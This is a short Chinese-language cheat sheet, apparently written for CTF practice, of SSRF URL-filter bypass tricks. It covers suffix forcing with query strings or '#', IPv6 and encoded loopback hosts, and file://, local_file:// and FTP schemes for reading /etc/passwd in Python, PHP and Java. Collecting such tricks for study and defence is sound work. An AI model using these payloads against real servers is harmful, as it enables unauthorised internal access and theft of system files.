前言
感觉最近遇到挺多ssrf的题目,然后就遇到了挺多这种url绕过的小trick,所以来复习一下
1.访问路径的后缀被写死时
可以使用?a=后缀,或者#进行绕过
eg:
以jpg结尾 http://xxxx?a=jpg 此时访问的内容即为?a前面的东西
|
2.
requests
ipv6、ipv6 zone
requests.get(http://[::FFFF:127.0.0.1]:23334) requests.get(http://[::FFFF:127.0.0.1%abc]:23334)
host 支持 url 编码,端口号数字扩展位数
requests.get(http://%61.baidu.com:00080).text
|
3.python的urllib支持读取任意文件
``python # python3 # 都相当于打开了 (http://a.baidu.com/) urllib.request.urlopen(http://[a.baidu.com]).read() urllib.request.urlopen(<http://[a.baidu.com]>).read() urllib.request.urlopen(<URL:http://[a.baidu.com]>).read() urllib.request.urlopen('file:///etc/passwd').read() # python2 # 都相当于打开了 [http://a.baidu.com](http://a.baidu.com/) urllib.urlopen(<URL:http://[a.baidu.com]>).read() # 读文件 老东西了 urllib.urlopen('local_file:///etc/passwd').read() urllib.urlopen('local-file:///etc/passwd').read() # 相当于用 ftp 打开 urllib.urlopen('//localhost:23334') urllib.urlopen('ftp://evil:23334') # 若服务端返回 PASV 模式的服务器与端口,python 2 不做验证直接连接 urllib.urlopen('local_file:///etc/passwd').read() urllib.urlopen('local-file:///etc/passwd').read()
|
4.
PHP:file_get_contents("file://localhost/etc/passwd");
|
5.
Java:new URL('url:file:///etc/passwd')
|
6.ipv6三个小trick
x.1.ip6.name 0--1.ipv6-literal.net 2408-8207-1850-2a60--4c8.ipv6-literal.net
|